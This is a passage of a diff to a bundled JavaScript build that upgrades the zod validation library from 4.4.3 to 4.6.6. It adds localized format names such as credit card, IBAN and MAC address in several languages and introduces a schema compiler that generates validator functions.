{ unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64195,12 +66730,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64265,17 +66804,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64301,12 +66841,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64374,22 +66918,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64415,12 +66960,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64490,12 +67039,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64534,6 +67083,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64601,17 +67153,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64637,12 +67190,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64710,17 +67267,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64746,12 +67304,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64820,17 +67382,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64856,12 +67419,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64928,17 +67495,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64964,12 +67532,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65036,14 +67608,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65090,21 +67662,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case 